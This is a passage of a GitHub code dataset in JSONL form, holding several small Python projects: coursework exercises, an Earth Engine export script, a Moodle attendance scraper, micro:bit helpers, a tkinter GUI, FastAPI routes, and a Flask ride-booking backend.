value\ncapitals.clear()\n\nprint(capitals[\"Germany\"])\nprint(capitals.get(\"Germany\"))\nprint(capitals.keys())\nprint(capitals.values())\nprint(capitals.items())\n\nfor Keys,values in capitals.items():\n print(Keys, values)","repo_name":"Jerin-004/PythonPracticePrograms","sub_path":"Dictionary.py","file_name":"Dictionary.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"28705505339","text":"# Import the Earth Engine Python Package\nimport ee\nfrom ee import batch ### I found this to work for me.\n\n# Initialize the Earth Engine object, using the authentication credentials.\nee.Initialize()\n\n# Get the panchromatic band of a landsat 8 tile - this is tile that cover San Francisco USA\nimage = ee.Image('LANDSAT/LC8_L1T/LC80440342014077LGN00').select('B8')\n\n# get a landsat scene, band RGB 432 (true colour) - Bejing China\nlandsat = ee.Image('LANDSAT/LC8_L1T_TOA/LC81230322014135LGN00').select(['B4', 'B3', 'B2'])\n\n#output the landsat true colour RGB, region defined - Region has to be a nested loop\nout1 = batch.Export.image.toDrive(landsat, description='out1', region=([116.2621, 39.8412], [116.2621, 40.01236],[116.4849, 40.01236],[116.4849, 39.8412]))\n\n# Canny edge detect on san francisco image\ncanny = ee.Algorithms.CannyEdgeDetector(image,10,1)\n\n# Output the edge detect\nout2 = batch.Export.image.toDrive(canny, description='out2', maxPixels=238523062)\n\n#run the processes on Google Earth Engine\nprocess = batch.Task.start(out1)\nprocess = batch.Task.start(out2)\n","repo_name":"acgeospatial/GoogleEarthEnginePy","sub_path":"OrderData.py","file_name":"OrderData.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"60"} +{"seq_id":"21157472869","text":"from math import floor\nfrom datetime import datetime\nfrom modules.options import *\nfrom termcolor import cprint, colored\nimport requests\n\n\ndef get_faltas(session: requests.Session, materia_datas, cache):\n template = \"{:<33} {:>8} {:>8} {:>12} {:>8} {:>9} {:>14} {:>14} {:>14}\"\n\n print(\"\\nPegando dados de frequência...\\n\")\n print(template.format(\"Materia\",\n \"Dias\",\n \"Aulas\",\n \"Freq Atual\",\n \"Faltas\",\n \"Atrasos\",\n \"Faltas Disp\",\n \"Atrasos Disp\",\n \"Não Lançados\"))\n\n erros = {}\n\n for data in materia_datas:\n erros_materia = get_falta(session, data, template, cache)\n\n if len(erros_materia) > 0:\n erros[data[\"nome\"]] = erros_materia\n continue\n\n print(colored(\"Faltas disponíveis\", \"green\"), \"|\",\n colored(\"Uma falta disponível\", \"yellow\"), \"|\",\n colored(\"Nenhuma falta dísponivel\", \"red\"), \"|\",\n colored(\"Não lançados >= Faltas Disponíveis!\", \"blue\"), \"|\",\n colored(\"FALTAS NEGATIVAS!\", \"magenta\"))\n\n if len(erros.keys()) > 0:\n print(\"\\nErros de execução...\")\n for materia in erros.keys():\n print(f\"{materia}:\")\n\n for erro in erros[materia]:\n print(\" - \" + erro)\n\n print()\n\n\ndef get_falta(session: requests.Session, materia_data, template, cache):\n pauta_url = get_materia_pauta_url(session, cache, materia_data[\"link\"])\n\n erros = []\n\n try:\n materia_falta_page = parse_html(session, f\"{pauta_url}&view=5\")\n except ConnectionError:\n erros.append(\"Ocorreu um erro ao se comunicar com o moodle :/\")\n return erros\n\n dias_web_el = materia_falta_page.select(\"table.generaltable tbody tr\")\n aulas_total = len(dias_web_el)\n aulas_dadas = 0\n atrasos = 0\n faltas = 0\n nao_lancados = 0\n dia_max_pontos = 0\n dias_semana = []\n\n for idx, dia_row in enumerate(dias_web_el):\n first_col_html = dia_row.select_one(\"td:nth-of-type(1)\").text\n\n if not first_col_html:\n erros.append(f\"Não existe dias cadastrados para a matéria {materia_data['nome']} no moodle :/\")\n return erros\n\n # pegando dia da semana\n if idx < 5:\n dias_semana.append(get_dia_semana(first_col_html))\n\n # checando se a data esta no passado\n # usando o horário final da aula\n dia, mes, ano = first_col_html.split(\"\\xa0\")[0].split(\"/\")\n hora_fim, minuto_fim = get_horario_fim(first_col_html)\n data_passado = datetime(int('20' + ano), int(mes), int(dia), int(hora_fim), int(minuto_fim)) < datetime.now()\n\n if data_passado:\n aulas_dadas += 1\n\n # pegando os pontos max do dia\n try:\n pontos_list = dia_row.find(attrs={\"class\": \"pointscol\"}).text \\\n .replace(\" \", \"\") \\\n .split(\"/\")\n\n pontos_max = int(pontos_list[1])\n except Exception:\n erros.append(f\"O dia {dia}/{mes}/{ano} não tem a presença disponível! Pulando para o próximo!\")\n continue\n\n if pontos_list[0] == '?':\n # se os pontos do dias forem '?' é calculado como presença\n pontos = pontos_max\n\n # checando se a data esta no passado, se tiver\n # contabilizar nos dias nao lancados\n if data_passado:\n nao_lancados += 1\n\n else:\n pontos = int(pontos_list[0])\n\n if pontos == 0:\n faltas += 1\n elif pontos < pontos_max:\n atrasos += 1\n\n # definindo o ponto maximo de um dia\n if dia_max_pontos == 0:\n dia_max_pontos = pontos_max\n elif dia_max_pontos != pontos_max:\n msg = f\"A materia {materia_data['nome']} tem dias com frequencias diferentes, nõa é possivel calcular...\"\n erros.append(msg)\n return erros\n\n # Pontuação da frequência:\t{pontos_freq} / {pontos_freq_max}\n list_freq_pontos = materia_falta_page.select_one(\"table.attlist tr:nth-of-type(7) td:nth-of-type(2)\") \\\n .text.replace(\" \", \"\") \\\n .split(\"/\")\n\n # Porcentagem de frequência:\t{freq_perc}%\n freq_perc = float(materia_falta_page.select_one(\"table.attlist tr:nth-of-type(8) td:nth-of-type(2)\")\n .text\n .replace(\"%\", \"\")\n .replace(\",\", \".\"))\n\n pontos_freq, pontos_freq_max = list(map(int, list_freq_pontos))\n\n # calculando as faltas e atrasos disponiveis\n ponto_por_freq = 100 / pontos_freq_max\n freq_disponivel = freq_perc - 75.0\n pontos_disponiveis = freq_disponivel / ponto_por_freq\n faltas_disponiveis = floor(pontos_disponiveis / dia_max_pontos)\n atrasos_disponiveis = floor(pontos_disponiveis / (dia_max_pontos / 2))\n\n # removendo duplicatas\n dias_semana = list(set(dias_semana))\n\n # ordenando os dias da semana\n dias_semana.sort(key=lambda dia: dia_semana_order.index(dia))\n\n # convertendo em str delimitador por '-'\n dias_semana = \"-\".join(dias_semana)\n\n # definindo coloracao do print\n if faltas_disponiveis < 0:\n cor_linha = \"magenta\"\n\n elif nao_lancados >= faltas_disponiveis != 0:\n cor_linha = \"blue\"\n\n elif faltas_disponiveis == 0:\n cor_linha = \"red\"\n\n elif faltas_disponiveis == 1:\n cor_linha = \"yellow\"\n\n else:\n cor_linha = \"green\"\n\n cprint(template.format(materia_data['nome'],\n dias_semana,\n f\"{aulas_dadas}/{aulas_total}\",\n str(freq_perc) + \"%\",\n faltas,\n atrasos,\n faltas_disponiveis,\n atrasos_disponiveis,\n nao_lancados), color=cor_linha)\n return erros\n\n\ndef get_dia_semana(first_col_html):\n return first_col_html[first_col_html.find(\"(\") + 1:first_col_html.find(\")\")] \\\n .replace(\" \", \"\") \\\n .lower()\n\n\ndef get_horario_fim(first_col_html):\n \"\"\"\n 24 / 07 / 19(Qua)\n 17 - 19:30\n \"\"\"\n hora_minuto = first_col_html.split(\"\\xa0\")[1].split(\" \")[-1].split(\":\")\n\n if len(hora_minuto) < 2:\n return hora_minuto[0], 0\n\n return hora_minuto\n","repo_name":"guiquintelas/infnet-faltas","sub_path":"modules/faltas.py","file_name":"faltas.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16183539127","text":"def KeyPressed(BitPlayerKey):\n pin = getattr(microbit, 'pin{}'.format(BitPlayerKey))\n pin.set_pull(pin.PULL_UP)\n return pin.read_digital() == 0\n\ndef SetMotor(bool):\n if bool is True:\n pin8.write_digital(1)\n else:\n pin8.write_digital(0)\n\ndef OnJoystick(position):\n UpLeft = 1\n Up = 2\n UpRight = 3\n Left = 4\n Middle = 5\n Right = 6\n LowerLeft = 7\n Down = 8\n LowerRight = 9\n x0 = 500\n y0 = 500\n d0 = 250\n x = pin1.read_analog() - x0\n y = pin2.read_analog() - y0\n d = round(math.sqrt(abs(x * x) + abs(y * y)))\n value1 = round(d * 0.38)\n value2 = round(d * 0.92)\n getPosition = Middle\n\n if (d > d0):\n if (x > 0 and y > 0): # (x,y) is at top right area\n if (y > value2):\n getPosition = Up\n elif (y < value1):\n getPosition = Right\n else:\n getPosition = UpRight\n elif (x > 0 and y < 0): # (x,y) is at bot right area\n if (x > value2):\n getPosition = Right\n elif (x < value1):\n getPosition = Down\n else:\n getPosition = LowerRight\n\n elif (x < 0 and y < 0): # (x,y) is at bot left area\n y = abs(y)\n if (y > value2):\n getPosition = Down\n elif (y < value1):\n getPosition = Left\n else:\n getPosition = LowerLeft\n elif (x < 0 and y > 0): # (x,y) is at top left area\n if (y > value2):\n getPosition = Up\n elif (y < value1):\n getPosition = Left\n else:\n getPosition = UpLeft\n else:\n getPosition = Middle\n if (getPosition == position):\n return True\n else:\n return False\n","repo_name":"LJoson/CodeCraft","sub_path":"main/static/firmware/microbit/BitPlayer.py","file_name":"BitPlayer.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"10937345264","text":"from tkinter import *\nimport tkinter.ttk as ttk\nfrom unicodedata import category\nfrom read_csv import *\nimport pandas as pd\nroot = Tk()\nroot.title(\"Auto Preprocessing\")\nroot.geometry(\"600x720\") #가로*세로 + (x좌표 + y 좌표)\nroot.resizable(False, False) #x(너비), y(높이) 값 변경 불가 (창 크기 변경불가)\n\n\nwrapper = LabelFrame(root, text=\"데이터 확인\")\nwrapper.grid(row = 0, column = 0, padx = 5, pady = 5)\n\ndataPath, file_list = get_datalist()\ncombobox = ttk.Combobox(wrapper, height = 5, width=60, values = file_list)\ncombobox.current(0)\ncombobox.grid(row = 0, column = 0, padx = 5, pady = 5)\n\n\ndef selectData():\n global data_name, data, df\n data_name = combobox.get()\n data = pd.read_csv(data_name)\n df = pd.DataFrame(data)\n cols = list(df.columns)\n btn_selectData = Button(wrapper, text = \"Select\", command = selectData)\n btn_selectData.grid(row = 0, column = 1, padx = 5, pady = 5)\n\n return df\n\ndef view():\n tableView = Tk()\n tableView.title(\"Data Head\")\n tree = ttk.Treeview(tableView)\n tree.pack()\n cols = list(df.columns)\n tree[\"columns\"] = cols\n for i in cols:\n tree.column(i, anchor=\"w\")\n tree.heading(i, text=i, anchor='w')\n for index, row in df[:5].iterrows():\n tree.insert(\"\",0,text=index,values=list(row))\n \nbtn_view = Button(wrapper, text = \"View\", command = view)\nbtn_view.grid(row = 0, column = 2, padx = 5, pady = 5)\n\ndef viewdetails():\n pass\nbtn_viewdetails = Button(wrapper, text = \"Viewdetails\", command = viewdetails)\nbtn_viewdetails.grid(row = 1, column = 1, padx = 5, pady = 5)\n\nwrapper2 = LabelFrame(root, text=\"데이터 처리\")\nwrapper2.grid(row = 1, column = 0,padx = 5, pady = 5)\n\ne = Entry(root, width=30)\ne.grid(row = 3, column = 0, padx = 5, pady = 5)\ne.insert(0, \"파일명을 입력하세요\")\ndef save():\n print(e.get())\nbtn = Button(root, text=\"Save\", command=save)\nbtn.grid(row = 3, column = 1, padx = 5, pady = 5)\n\ndef btn_data_cleaning():\n pass\n\nbtn_select_cleaning = Button(wrapper2, text = \"데이터 정제\", command = btn_data_cleaning)\nbtn_select_cleaning.grid(row = 0, column = 0, padx = 5, pady = 5)\n\n\nwrapper3 = LabelFrame(root, text=\"데이터 저장\")\nwrapper3.grid(row = 2, column = 0,padx = 5, pady = 5)\n\ne = Entry(wrapper3, width=30)\ne.grid(row = 0, column = 0, padx = 5, pady = 5)\ne.insert(0, \"파일명을 입력하세요\")\ndef save():\n print(e.get())\nbtn = Button(wrapper3, text=\"Save\", command=save)\nbtn.grid(row = 0, column = 1, padx = 5, pady = 5)\ndef btn_data_Transformation():\n pass\n\nbtn_select_transformation = Button(wrapper2, text = \"데이터 변환\", command = btn_data_Transformation)\nbtn_select_transformation.grid(row = 0, column = 1, padx = 5, pady = 5)\n\n\n\nwrapper3 = LabelFrame(root, text=\"데이터 저장\")\nwrapper3.grid(row = 2, column = 0,padx = 5, pady = 5)\n\ne = Entry(wrapper3, width=30)\ne.grid(row = 0, column = 0, padx = 5, pady = 5)\ne.insert(0, \"파일명을 입력하세요\")\ndef save():\n print(e.get())\nbtn = Button(wrapper3, text=\"Save\", command=save)\nbtn.grid(row = 0, column = 1, padx = 5, pady = 5)\n","repo_name":"TangleDaegi/Auto_Preprocessing","sub_path":"NotUsing/main_frame.py","file_name":"main_frame.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8590618695","text":"# --------------\n# Importing header files\r\nimport numpy as np\r\n\r\n# Path of the file has been stored in variable called 'path'\r\ndata = np.genfromtxt(path,delimiter=\",\",skip_header=1)\r\n#New record\r\nnew_record=[[50, 9, 4, 1, 0, 0, 40, 0]]\r\n\r\n#Code starts here\r\ncensus = np.concatenate([new_record,data])\n\n\n# --------------\n#Code starts here\r\nimport numpy as np\r\n\r\nage = census[:,0]\r\nmax_age = age.max()\r\nmin_age = age.min()\r\nage_mean = age.mean()\r\nage_std = age.std()\n\n\n# --------------\n#Code starts here\r\nimport numpy as np\r\n\r\nrace_0 = census[census[:,2]==0]\r\nrace_1 = census[census[:,2]==1]\r\nrace_2 = census[census[:,2]==2]\r\nrace_3 = census[census[:,2]==3]\r\nrace_4 = census[census[:,2]==4]\r\n\r\n#storing lengths of the following array\r\n\r\nlen_0 = len(race_0)\r\nlen_1 = len(race_1)\r\nlen_2 = len(race_2)\r\nlen_3 = len(race_3)\r\nlen_4 = len(race_4)\r\n\r\n#finding which is the race with min.no of citizen\r\nlengths = [len_0,len_1,len_2,len_3,len_4]\r\n\r\nminority_race = lengths.index(min(lengths))\n\n\n# --------------\n#Code starts here\r\nsenior_citizens = census[census[:,0]>60]\r\nworking_hours_sum = np.sum(senior_citizens[:,6])\r\nsenior_citizens_len = len(senior_citizens)\r\navg_working_hours = working_hours_sum / senior_citizens_len\r\nprint(avg_working_hours)\n\n\n# --------------\n#Code starts here\r\nhigh = census[census[:,1]>10]\r\nlow = census[census[:,1]<=10]\r\n\r\navg_pay_high = np.mean(high[:,7])\r\navg_pay_low = np.mean(low[:,7])\r\n\r\nprint(avg_pay_high==avg_pay_low)\n\n\n","repo_name":"ashwin2401/ga-learner-dsmp-repo","sub_path":"Make-Sense-of-Census/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"20178022415","text":"# coding=utf-8\nfrom fastapi import APIRouter\nfrom web.core.coreService import get_compkeys\nfrom web.model import mongodb\nfrom web.common import response\nfrom web.domain.DomainClass import BackSearchResponse, EchartResponse, EchartDetailResponse, Search_Param, AllCompKeyDetail\nfrom web.core.coreService import get_access_count, get_comkeys_details\n\n\nrouter = APIRouter(\n prefix='/back',\n responses={404: {\"description\": \"Not found\"}}\n)\n\n\n@router.get('/keywords')\ndef find_all_compKey():\n result = get_compkeys(mydb=mongodb.db)\n res = []\n index = 1\n for k, v in list(result.items()):\n res.append(BackSearchResponse(key=index, word=k, detail=v))\n index += 1\n return response.SuccessResponse(res)\n\n\n@router.get('/echart')\ndef find_echart_data():\n count, a = get_access_count(mydb=mongodb.db)\n detail = []\n for k, v in list(a.items()):\n detail.append(EchartDetailResponse(name=k, value=v))\n return response.SuccessResponse(EchartResponse(count=count, detail=detail))\n\n\n@router.post('/compkey')\ndef find_word_all_compkey(request_body: Search_Param):\n result = get_comkeys_details(mydb=mongodb.db, keyword=request_body.keyword)\n res = []\n index = 1\n for k, v in list(result.items()):\n res.append(AllCompKeyDetail(key=index, word=k, detail=v))\n index += 1\n return response.SuccessResponse(res)\n\n\n","repo_name":"CJMggYYDS/CompKey-BackendAPI","sub_path":"web/routers/compkeyBack.py","file_name":"compkeyBack.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42968998924","text":"import unittest\r\nfrom userTEST import app, db, User\r\n\r\nclass TestYourAPI(unittest.TestCase):\r\n\r\n def setUp(self):\r\n # Create an application context\r\n self.app_context = app.app_context()\r\n self.app_context.push()\r\n\r\n # Create a test client for making requests\r\n self.app = app.test_client()\r\n\r\n # Set up a test database (in-memory SQLite)\r\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'\r\n db.create_all()\r\n\r\n def tearDown(self):\r\n # Clean up the test database after each test\r\n # db.session.remove()\r\n # db.drop_all()\r\n\r\n self.app_context.pop()\r\n\r\n def test_create_eventGoer(self):\r\n # Create a user object\r\n user_data = {\r\n \"email\": \"eventGoer@example.com\",\r\n \"password\": \"password123\",\r\n \"userType\": 2,\r\n \"fname\": \"John\",\r\n \"lname\": \"Doe\",\r\n \"dob\": \"1990-01-01\",\r\n \"phone\": \"1234567890\",\r\n \"country\": \"USA\",\r\n \"postal_code\": \"12345\",\r\n \"address1\": \"123 Main St\",\r\n \"address2\": \"Apt 4B\"\r\n }\r\n # Perform a POST request to the /user/create endpoint\r\n response = self.app.post('/user/create', json=user_data)\r\n data = response.get_json()\r\n self.assertEqual(response.status_code, 201)\r\n self.assertTrue('data' in data)\r\n \r\n def test_create_eventOrganizer(self):\r\n # Create a user object\r\n user_data = {\r\n \"email\": \"eventOrganizer@example.com\",\r\n \"password\": \"password123\",\r\n \"userType\": 3,\r\n \"companyName\": \"TESTCOMPANY\",\r\n \"UENo\": \"12345678A\",\r\n \"companyType\": \"TEST\",\r\n \"status\": \"Not Appoved\",\r\n \"phone\": \"1234567890\",\r\n \"country\": \"USA\",\r\n \"postal_code\": \"12345\",\r\n \"address1\": \"123 Main St\",\r\n \"address2\": \"Apt 4B\"\r\n }\r\n # Perform a POST request to the /user/create endpoint\r\n response = self.app.post('/user/create', json=user_data)\r\n data = response.get_json()\r\n self.assertEqual(response.status_code, 201)\r\n self.assertTrue('data' in data)\r\n \r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"david-codell/fyp-herokuv1","sub_path":"AWS_FYP_PYTHON/microservices/Test/CreateNewUserTest.py","file_name":"CreateNewUserTest.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24400528866","text":"import psycopg2\nimport urllib.parse as up\n\nfrom flask import Flask,request\nfrom flask import jsonify\nfrom flask_cors import CORS,cross_origin\nfrom datetime import date\nfrom datetime import datetime\n\nimport os\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\n\n\nimport math\nimport requests\nimport random\nimport hashlib\n\ndotenv_path = join(os.path.dirname(os.path.realpath(__file__)), '.env')\nload_dotenv(dotenv_path)\n\nDATABASE_URL = os.environ.get(\"DATABASE_URL\")\n\nup.uses_netloc.append(\"postgres\")\nurl = up.urlparse(DATABASE_URL)\ndbconn = psycopg2.connect(database=url.path[1:],\nuser=url.username,\npassword=url.password,\nhost=url.hostname,\nport=url.port\n)\n\n\n\ndef create_app():\n#create_app is a keyword.\n\tapp= Flask(__name__)\n\t#CORS(app)\n\tapp.config.from_mapping(\n\t\tDATABASE= \"pimdb\"\n\t)\n\n#########################################################################################################################\n\n\t@app.route(\"/\")\n\t#@cross_origin()\n\tdef index():\n\t\tresponse = jsonify(message=\"The Server is running\")\n\t\treturn response\n\n#########################################################################################################################\n\t@app.route(\"/signin\",methods=[\"POST\"])\n\t\t#@cross_origin())\n\tdef signinpage():\n\t\tcursor = dbconn.cursor()\n\t\tphonenos= request.json['phoneno']\n\t\tpassword= request.json['pwd']\n\t\ttypess= request.json['type']\n\t\t# phoneno= '7338995416'\n\t\t# password= 'gops123'\n\t\t# typess='driver'\n\n\n\t\t#password encryption:\n\t\tpassword=hashlib.sha256(password.encode('utf-8')).hexdigest() #hashvalue\n\n\t\tcursor.execute(\"SELECT pwd from Signin_up where phoneno=%s\",(phonenos,))\n\t\ttemp= cursor.fetchone()[0]\n\t\tdbconn.commit()\n\n\n\t\tif temp:\n\t\t\tpasscode=temp\n\t\t\tif passcode==password:\n\t\t\t\tif typess=='rider':\n\t\t\t\t\tcursor = dbconn.cursor()\n\t\t\t\t\tcursor.execute(\"SELECT * from Rider where Rphoneno=%s\",(phonenos,))\n\t\t\t\t\tdbconn.commit()\n\t\t\t\t\ttempone= cursor.fetchone()\n\t\t\t\t\trids,names,emails,Rphones=tempone\n\t\t\t\t\treturn jsonify({\"rid\":rids,\"name\":names,\"email\":emails,\"phoneno\":Rphones})\n\n\t\t\t\telif typess=='driver':\n\t\t\t\t\tcursor = dbconn.cursor()\n\t\t\t\t\tcursor.execute(\"SELECT * from Driver where Dphoneno=%s\",(phonenos,))\n\t\t\t\t\tdbconn.commit()\n\t\t\t\t\ttemptwo= cursor.fetchone()\n\t\t\t\t\tuserid,names,aadharids,emails,Dphonenos,lnos,vnos,vtypess=temptwo\n\t\t\t\t\treturn jsonify({\"did\":userid,\"name\":names,\"aadharid\":aadharids, \"email\":emails, \"phoneno\":Dphonenos, \"licenseno\":lnos, \"vehicleno\":vnos,\"vehicletype\":vtypess})\n\n\n\t\t\telse:\n\t\t\t\t\treturn jsonify(message=\"Incorrect Password\")\n\t\telse:\n\t\t\treturn jsonify(message=\"Complete the registration\")\n\n\n\n\t#\n\t# @app.route(\"/signin\",methods=[\"POST\"])\n\t# #@cross_origin())\n\t# def signinpage():\n\t# \tcursor = dbconn.cursor()\n\t# \tphoneno= request.json['phoneno']\n\t# \tpassword= request.json['pwd']\n\t# \t#\n\t# \t# phoneno= '7338995416'\n\t# \t# password= 'gops123'\n\t#\n\t# \t#password encryption:\n\t# \tpassword=hashlib.sha256(password.encode('utf-8')).hexdigest() #hashvalue\n\t#\n\t# \tcursor.execute(\"SELECT phoneno,pwd,type from Signin_up where phoneno=%s\",(phoneno,))\n\t# \ttemp= cursor.fetchone()\n\t# \tif temp:\n\t# \t\tphone,passcode,typess=temp\n\t# \t\tif typess==\"rider\":\n\t# \t\t\ttypess=\"customer\"\n\t# \t\tif passcode==password:\n\t# \t\t\treturn jsonify({\"phoneno\":phone,\"pwd\":passcode,\"type\":typess})\n\t# \t\telse:\n\t# \t\t\treturn jsonify(message=\"Incorrect password\")\n\t# \telse:\n\t# \t\treturn jsonify(message=\"Complete the registration\")\n\n#########################################################################################################################\n\n\t@app.route(\"/signup\",methods=[\"POST\"])\n\tdef registration():\n\t\tcursor = dbconn.cursor()\n\t\tphoneno= request.json['phoneno']\n\t\tpassword= request.json['pwd']\n\t\ttypess= request.json['type']\n\n\t\t# phoneno= '7338995416'\n\t\t# password= 'gops123'\n\t\t# typess= 'rider'\n\n\n\t\t#password encryption:\n\t\tpassword=hashlib.sha256(password.encode('utf-8')).hexdigest() #hashvalue\n\n\t\tif typess=='rider':\n\t\t\tnames= request.json['name']\n\t\t\temails= request.json['email']\n\n\t\t\t# names= 'gopu chad'\n\t\t\t# emails= 'gopu.reddy@gmail.com'\n\n\n\t\t\tcursor.execute(\"INSERT INTO Signin_up (phoneno, pwd, type) VALUES(%s, %s, %s)\",(phoneno, password, typess))\n\t\t\tdbconn.commit()\n\n\t\t\tcursor = dbconn.cursor()\n\t\t\tcursor.execute(\"INSERT INTO Rider (name, email, Rphoneno) VALUES(%s, %s, %s)\",(names, emails, phoneno))\n\t\t\tdbconn.commit()\n\n\t\t\tcursor.execute(\"SELECT MAX(rid) from Rider\")\n\t\t\tuserid= cursor.fetchall()[0][0]\n\t\t\tdbconn.commit()\n\n\t\t\treturn jsonify({\"rid\":userid,\"name\":names,\"email\":emails,\"type\":typess})\n\n\t\telif typess=='driver':\n\t\t\tnames= request.json['name']\n\t\t\temails= request.json['email']\n\t\t\taadharids= request.json['aadharid']\n\t\t\tlnos= request.json['licenseno']\n\t\t\tvnos= request.json['vehicleno']\n\t\t\tvtypess= request.json['vehicletype']\n\n\t\t\t# names= 'joel'\n\t\t\t# emails= 'joel.dubai@gmail.com'\n\t\t\t# aadharids= '4444'\n\t\t\t# lnos= '98777'\n\t\t\t# vnos= 'D123456'\n\t\t\t# vtypess= 'auto'\n\n\n\t\t\tcursor.execute(\"INSERT INTO Signin_up (phoneno, pwd, type) VALUES(%s, %s, %s)\",(phoneno, password, typess))\n\t\t\tdbconn.commit()\n\n\t\t\tcursor = dbconn.cursor()\n\t\t\tcursor.execute(\"INSERT INTO Driver (name, aadharid, email, Dphoneno, licenseno, vehicleno, vehicletype) VALUES(%s, %s, %s, %s, %s, %s, %s)\",(names, aadharids, emails, phoneno, lnos, vnos, vtypess))\n\t\t\tdbconn.commit()\n\n\t\t\tcursor.execute(\"SELECT MAX(did) from Driver\")\n\t\t\tuserid= cursor.fetchall()[0][0]\n\t\t\tdbconn.commit()\n\n\t\t\treturn jsonify({\"did\":userid,\"name\":names,\"aadharid\":aadharids, \"email\":emails, \"Dphoneno\":phoneno, \"licenseno\":lnos, \"vehicleno\":vnos,\"vehicletype\":vtypess,\"type\":typess})\n\n\n\n######################################## RIDER ###############################################\n\n\t@app.route(\"/book-ride\",methods=[\"POST\"])\n\tdef ridebooking():\n\t\tcursor = dbconn.cursor()\n\t\tphoneno= request.json['phoneno']\n\t\tfroma= request.json['from_add']\n\t\ttoa= request.json['to_add']\n\t\ttimes= request.json['time']\n\t\tshareds= request.json['shared']\n\t\tvtypess= request.json['vehicletype']\n\t\tamounts= request.json['amount']\n\n\t\t# phoneno= '7338995417'\n\t\t# froma= 'zzz'\n\t\t# toa= 'ccc'\n\t\t# times='2021-09-25T23:35'\n\t\t# shareds= 'T'\n\t\t# vtypess= 'auto'\n\t\t# amounts= 400\n\n\t\t#2018-06-07T00:00\n\t\t#share ride verification\n\n\t\t\t\t\n\t\td={'NITC': {'NITC': 0,\n\t\t 'Calicut Airport': 33,\n\t\t 'Calicut Beach': 24,\n\t\t 'Calicut Railway Station': 23,\n\t\t 'Kozhikode New Bus Stand': 22},\n\t\t\t\n\t\t 'Calicut Airport': {'NITC': 33,\n\t\t 'Calicut Airport': 0,\n\t\t 'Calicut Beach': 30,\n\t\t 'Calicut Railway Station': 26,\n\t\t 'Kozhikode New Bus Stand': 29},\n\t\t\t\n\t\t\t'Calicut Beach': {'NITC': 24,\n\t\t 'Calicut Airport': 30,\n\t\t 'Calicut Beach': 0,\n\t\t 'Calicut Railway Station': 4.2,\n\t\t 'Kozhikode New Bus Stand': 3.3},\n\t\t\t\n\t\t\t'Calicut Railway Station': {'NITC': 23,\n\t\t 'Calicut Airport': 26,\n\t\t 'Calicut Beach': 4.2,\n\t\t 'Calicut Railway Station': 0,\n\t\t 'Kozhikode New Bus Stand': 0.6},\n\t\t\t\n\t\t\t'Kozhikode New Bus Stand': {'NITC': 22,\n\t\t 'Calicut Airport': 29,\n\t\t 'Calicut Beach': 3.3,\n\t\t 'Calicut Railway Station': 0.6,\n\t\t 'Kozhikode New Bus Stand': 0}\n\t\t }\n\t\t\n\t\tdistance=d[froma][toa]\n\t\tamounts=20*distance\n\t\t#Rs.20 for km.\n\t\t\n\t\t\n\t\tnow = datetime.now()\n\t\tyr=times[2:4]\n\t\tmonth=times[5:7]\n\t\tday=times[8:10]\n\t\thr=times[11:13]\n\t\tminute=times[14:]\n\t\treqstr=day+'/'+month+'/'+yr+' '+hr+':'+minute+':00'\n\n\t\tdate_time_obj = datetime.strptime(reqstr, '%d/%m/%y %H:%M:%S')\n\n\t\tdiff=date_time_obj-now\n\n\t\tif shareds=='T':\n\t\t\tif diff.total_seconds() < 1200: #20mins\n\t\t\t\t shareds= 'F'\n\t\t\telse:\n\t\t\t\t shareds='T'\n\n\n\t\totps = random.randint(1000,9999)\n\n\t\tcursor.execute(\"INSERT INTO CurrentTrip (from_add, to_add, time, shared, vehicletype, amount, otp, Rphoneno) VALUES(%s, %s, %s, %s, %s, %s, %s, %s)\",(froma, toa, reqstr, shareds, vtypess, amounts, otps, phoneno))\n\t\tdbconn.commit()\n\n\t\tcursor= dbconn.cursor()\n\t\tcursor.execute(\"SELECT MAX(tripid) from CurrentTrip where Rphoneno=%s\",(phoneno,))\n\t\ttripids= str(cursor.fetchall()[0][0])\n\t\tdbconn.commit()\n\n\t\tcursor= dbconn.cursor()\n\t\tcursor.execute(\"INSERT INTO TripHistory (tripid, from_add, to_add, time, shared, vehicletype, amount, Rphoneno) VALUES(%s, %s, %s, %s, %s, %s, %s, %s)\",(tripids, froma, toa, reqstr, shareds, vtypess, amounts, phoneno))\n\t\tdbconn.commit()\n\n\n\t\treturn jsonify({\"tripids\":tripids, \"from_add\":froma, \"to_add\":toa, \"time\": reqstr, \"shared\":shareds, \"vehicletype\":vtypess, \"amount\":amounts, \"otp\":otps, \"phone\":phoneno})\n\n\n#########################################################################################################################\n\n\t@app.route(\"/cancel-ride\")\n\tdef CancelRide():\n\t\tcursor = dbconn.cursor()\n\t\t#tripids=request.json['tripid']\n\t\ttripids='8'\n\t\tcursor.execute(\"DELETE from CurrentTrip where tripid=%s\",(tripids,))\n\t\tdbconn.commit()\n\n\t\tcursor= dbconn.cursor()\n\t\tcursor.execute(\"SELECT from_add,to_add,tripid from TripHistory where tripid=%s\",(tripids,))\n\t\tdbconn.commit()\n\n\t\ttemp= cursor.fetchone()\n\t\tfroma,toa,tripids=temp\n\n\t\tcursor = dbconn.cursor()\n\t\ttripstatuss=\"Cancelled\"\n\t\tcursor.execute(\"UPDATE TripHistory SET tripstatus=%s where tripid=%s\",(tripstatuss,tripids))\n\t\tdbconn.commit()\n\t\treturn 